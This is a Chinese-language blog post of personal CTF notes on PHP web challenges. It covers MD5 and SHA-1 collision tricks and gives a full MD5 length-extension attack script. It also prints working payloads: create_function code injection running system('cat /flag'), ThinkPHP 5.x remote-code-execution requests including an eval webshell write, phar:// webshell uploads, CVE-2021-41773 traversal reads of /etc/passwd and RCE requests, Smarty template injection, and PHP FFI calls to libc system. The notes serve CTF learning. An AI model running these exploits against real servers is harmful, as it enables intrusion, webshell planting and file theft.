array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

双MD5绕过

if ($a != $b && md5($a) == md5(md5($b)) {
		echo "flag{XXXXX}";
  • MD5大全:
  • CbDLytmyGm2xQyaLNhWn
  • md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18 md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af 770hQgrBOjrcqftrlaZk
  • md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625 md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
  • 7r4lGXCH2Ksu2JNT3BYM
  • md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849 md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

MD5哈希长度拓展攻击

最近研究base的一道题目真的是给我搞吐血

if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 

这是我卡住的那一部分,研究了很久才知道这道题考的是md5拓展攻击,懒得去理解原理,就直接说这类题目的特点吧,就是会有一个未知的$salt,但是我们已知$salt的长度和哈希值,但是不知道具体的值是多少,然后还知道一个已知的值$b,这个$b是由我们输入和控制的,这个时候,题目会要求我们输入一个值$MD5,这个值要和$salt+$b的md5值相等,这就是这类题目的特点。

然后想要这个MD5的值的话,就只能上工具,这里推荐使用hashpump,但是GitHub上面主流的那些博客中提到的hashpump已经找不到了,就只能用另一个python脚本呢。

这个脚本用起来也很简单,就是把$b输入进去,然后把$salt的哈希值输入进去,在输入扩展,这里扩展就随便输,然后在输入$salt的长度,就可以出现我么所需要的$MD5的值和$b所要输入的值。

但是在题目里一直解不出来,真的是气死我了

补充:这道题目后续解出来了,就是如果没有已知明文的话,就不要添加已知明文,画蛇添足了。

MD5长度拓展攻击脚本

from struct import pack, unpack
from math import floor, sin
 
 
"""
MD5 Extension Attack
====================
@refs
https://github.com/shellfeel/hash-ext-attack
"""
 
 
class MD5:
 
    def __init__(self):
        self.A, self.B, self.C, self.D = \
            (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)  # initial values
        self.r: list[int] = \
            [7, 12, 17, 22] * 4 + [5,  9, 14, 20] * 4 + \
            [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4  # shift values
        self.k: list[int] = \
            [floor(abs(sin(i + 1)) * pow(2, 32))
             for i in range(64)]  # constants
 
    def _lrot(self, x: int, n: int) -> int:
        # left rotate
        return (x << n) | (x >> 32 - n)
 
    def update(self, chunk: bytes) -> None:
        # update the hash for a chunk of data (64 bytes)
        w = list(unpack('<'+'I'*16, chunk))
        a, b, c, d = self.A, self.B, self.C, self.D
 
        for i in range(64):
            if i < 16:
                f = (b & c) | ((~b) & d)
                flag = i
            elif i < 32:
                f = (b & d) | (c & (~d))
                flag = (5 * i + 1) % 16
            elif i < 48:
                f = (b ^ c ^ d)
                flag = (3 * i + 5) % 16
            else:
                f = c ^ (b | (~d))
                flag = (7 * i) % 16
 
            tmp = b + \
                self._lrot((a + f + self.k[i] + w[flag])
                           & 0xffffffff, self.r[i])
            a, b, c, d = d, tmp & 0xffffffff, b, c
 
        self.A = (self.A + a) & 0xffffffff
        self.B = (self.B + b) & 0xffffffff
        self.C = (self.C + c) & 0xffffffff
        self.D = (self.D + d) & 0xffffffff
 
    def extend(self, msg: bytes) -> None:
        # extend the hash with a new message (padded)
        assert len(msg) % 64 == 0
        for i in range(0, len(msg), 64):
            self.update(msg[i:i + 64])
 
    def padding(self, msg: bytes) -> bytes:
        # pad the message
        length = pack('<Q', len(msg) * 8)
 
        msg += b'\x80'
        msg += b'\x00' * ((56 - len(msg)) % 64)
        msg += length
 
        return msg
 
    def digest(self) -> bytes:
        # return the hash
        return pack('<IIII', self.A, self.B, self.C, self.D)
 
 
def verify_md5(test_string: bytes) -> None:
    # (DEBUG function) verify the MD5 implementation
    from hashlib import md5 as md5_hashlib
 
    def md5_manual(msg: bytes) -> bytes:
        md5 = MD5()
        md5.extend(md5.padding(msg))
        return md5.digest()
 
    manual_result = md5_manual(test_string).hex()
    hashlib_result = md5_hashlib(test_string).hexdigest()
 
    assert manual_result == hashlib_result, "Test failed!"
 
 
def attack(message_len: int, known_hash: str,
           append_str: bytes) -> tuple:
    # MD5 extension attack
    md5 = MD5()
 
    previous_text = md5.padding(b"*" * message_len)
    current_text = previous_text + append_str
 
    md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
    md5.extend(md5.padding(current_text)[len(previous_text):])
 
    return current_text[message_len:], md5.digest().hex()
 
 
if __name__ == '__main__':
 
    message_len = int(input("[>] Input known text length: "))
    known_hash = input("[>] Input known hash: ").strip()
    append_text = input("[>] Input append text: ").strip().encode()
 
    print("[*] Attacking...")
 
    extend_str, final_hash = attack(message_len, known_hash, append_text)
 
    from urllib.parse import quote
    from base64 import b64encode
 
    print("[+] Extend text:", extend_str)
    print("[+] Extend text (URL encoded):", quote(extend_str))
    print("[+] Extend text (Base64):", b64encode(extend_str).decode())
    print("[+] Final hash:", final_hash)

之所以要再加个脚本是因为遇到了一道题目是需要明文的base64的,但是我尝试了将解出来的明文直接进行base64加密发现是不行的,暂时还没有发现其原因

 $a==md5($a)

0e215962017

MD5整数型和字符串型绕过

<?php
    if(sha1(12) === sha1('12') && md5(1) === md5('1')){
        echo("666");
    }
    else{
        echo("777");
    }
?>
//输出结果是666

遇见一个很神奇的东西可以绕过强比较,就是当字符串型和整数型的MD5相比较的时候,居然可以绕过强相等,只能说,过于牛逼。

原理介绍,MD5和sha1加密所要求的都是字符型,这里涉及到强制转换,所有输入的参数都会被转换成String,因此可以这么绕过

在此之上,有个大佬给了我一个更全新的思路

原理就是sha1和md5的强制转换,会将数组类型转换成sha1(Array),因此全部相等。

Error和Exception原生类绕过md5强相等

因为错误和异常信息是带有文件和行数的,所以要在同一行,要注意$a和$b要在同一行,然后看到一篇文章,如果不是强相等的话,里面还得添加东西,目前没遇到过,但是先记录下来

MD5相等文件

使用fastcoll即可,把图片拖动到exe上即可自动运行脚本生成两个md5值相等的文件

php会将空格解析成_

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM

/level_level_4.php?NI+SA+=txw4ever    =     /level_level_4.php?NI_SA_=txw4ever

create_function()代码注入

create_function函数根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code)
string $args 声明的函数变量部分

string $code 执行的方法代码部分

什么意思呢,其实就是利用了这个函数之后,会在类里头创建一个方法,前面的参数是方法名,后面的参数是方法里头的命令。

<?php
$id = $_GET['id'];
$str = 'echo '.$id.';';
$ft = creat_function('$id',$str);
$ft($id);
?>

$ft = creat_function(‘$id’,$str);
创建了一个匿名函数,那么我们可以通过}闭合第一个{在}后面插入我们想要执行的代码就能够造成一个人代码注入
其大概类似于
function ft($id){
echo $id;
}
进行代码注入
function ft($id){
echo 1;}phpinfo();/*
}
那么php就会去执行我们输入phpinfo();代码。

还遇到了一题没有creat_funtion()函数却依旧可以注入的情况

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

目前还不知道为什么会用到这个函数注入,有点莫名其妙,但是没事,先记录下来

payload:

/55_5_55.php?a=\create_function&b=}system('cat /flag');/*

再来一个例题

<?php
class Noteasy{
    protected $param1;
    protected $param2;
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?>
Hi!Welcome to FSCTF2023!

$a(”, $b); 这一段代码,就可以利用到create_function这个函数的漏洞。

ThinkPHP V5与2018年曝出漏洞,查找poc

5.0.x 版本:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容用URL编码
 
5.1版本:
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
?s=index/\think\template\driver\file/write
&cacheFile=aaa.php&content=<?php @eval($_POST['cmd']);?>

找不到文件的话,就使用以下命令,应该可以找到

system       find / -type f -name "flag" -exec cat {} \;  //find /就是在根目录下寻找文件,-type f 母鸡啊我也不知道,-name就是名字,-exec cat {}\;就是回显搜索到的文件

以上指令不行的话,多看看收藏文件夹,里头有文章

写一个上面的简化版本

find / |grep flag
/*意思就是在根目录下寻找含有flag字符文件的路径
/* . 是在当前目录 ~ 是当前登陆用户的用户目录
如果想要让其全部输出的话,就补上| xargs cat

Phar伪协议

phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell.php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
接触到这个伪协议是在做一道文件上传时,要求用zip格式上传,于是就看到了phar伪协议。相关步骤就是将一句话木马的php文件压缩成zip文件然后上传,最后用phar://上传地址/xx.php来连接蚁剑,目前还没有碰到上面所说的需要把后缀改成png其他格式的情况出现。值得注意的是,需要先测试一下他会不会自动给你加上php后缀,我的那道题目就会自己给我加上php的后缀,因此链接的时候,就不需要带上php的后缀。

总结出来做题规律就是,有碰到zip的文件上传的时候,可以关注一下。

Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞

这个漏洞就是在apache 2.4.49版本下存在一个任意文件读取漏洞

任意文件读取POC:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: x.x.x.x:8080


RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.109.128:8080
.....
echo; ls (命令)
//再贴一个寻找flag的指令,因为我做的这一道题把flag藏起来了
grep -r:递归查找子目录中的文件。
echo; grep -r "NSS" /flag_is_here
我用的指令是echo;cat $(find /flag_is_here -type f);会爆出很多乱码,直接寻找flag头也能找到flag
$() 是一种现代的命令替换方式,它会执行括号内的命令,并用其输出结果替换掉 $() 部分。与传统的反引号(``)方法相比,$() 更易读和嵌套使用。
在这个例子中,$() 的作用是将 find 命令的输出(即所有文件的路径)传递给 cat 命令,以便 cat 能够显示这些文件的内容。

preg_match(‘/^$/’)用换行符%0a绕过

call_user_func(类::类中方法)

NSSIMAGE
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
}

今天在做一道题目的时候遇到的call_user_func()函数的用法,就是 类:: 方法 用于直接调用一个类中的方法,像这道题目的pyload就是p=Nss2::Ctf,只不过这题感觉这个知识点利用的没头没尾的。

Smarty模板注入

第一种是XFF的smarty模板注入,这个注意一下就好了,XFF:{system(‘ls’);}

通常情况下建议用{if xxx}{/if}标签进行注入,注意在这里头使用system()函数的时候后面不要加分号,不然会报错

算是比较简单的一种SSTI吧

PHP的FFI扩展漏洞

PHP7.4版本之后出现了一个扩展叫做FFI,可以调用到C语言的库

payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); //首先遍历数组,找到flag文件位置

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();

原理:这个我没有去深挖,就去看了个大概,最近有点忙,没空去仔细研究。

首先是FFI扩展调用c库的语法为:FFI::cdef([string $cdef = “” [, string $lib = null]]): FFI

利用的方法很简单,只需要两步,一步是申明,一步是调用

首先我们使用FFI::cdef()函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下

$ffi = FFI::cdef("int system(char* command);");   # 声明C语言中的system函数

这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:

$ffi ->system("ls / > /tmp/res.txt");   # 执行ls /命令并将结果写入/tmp/res.txt

FFI调用c语言库

$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/* 

FFI调用PHP库

$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇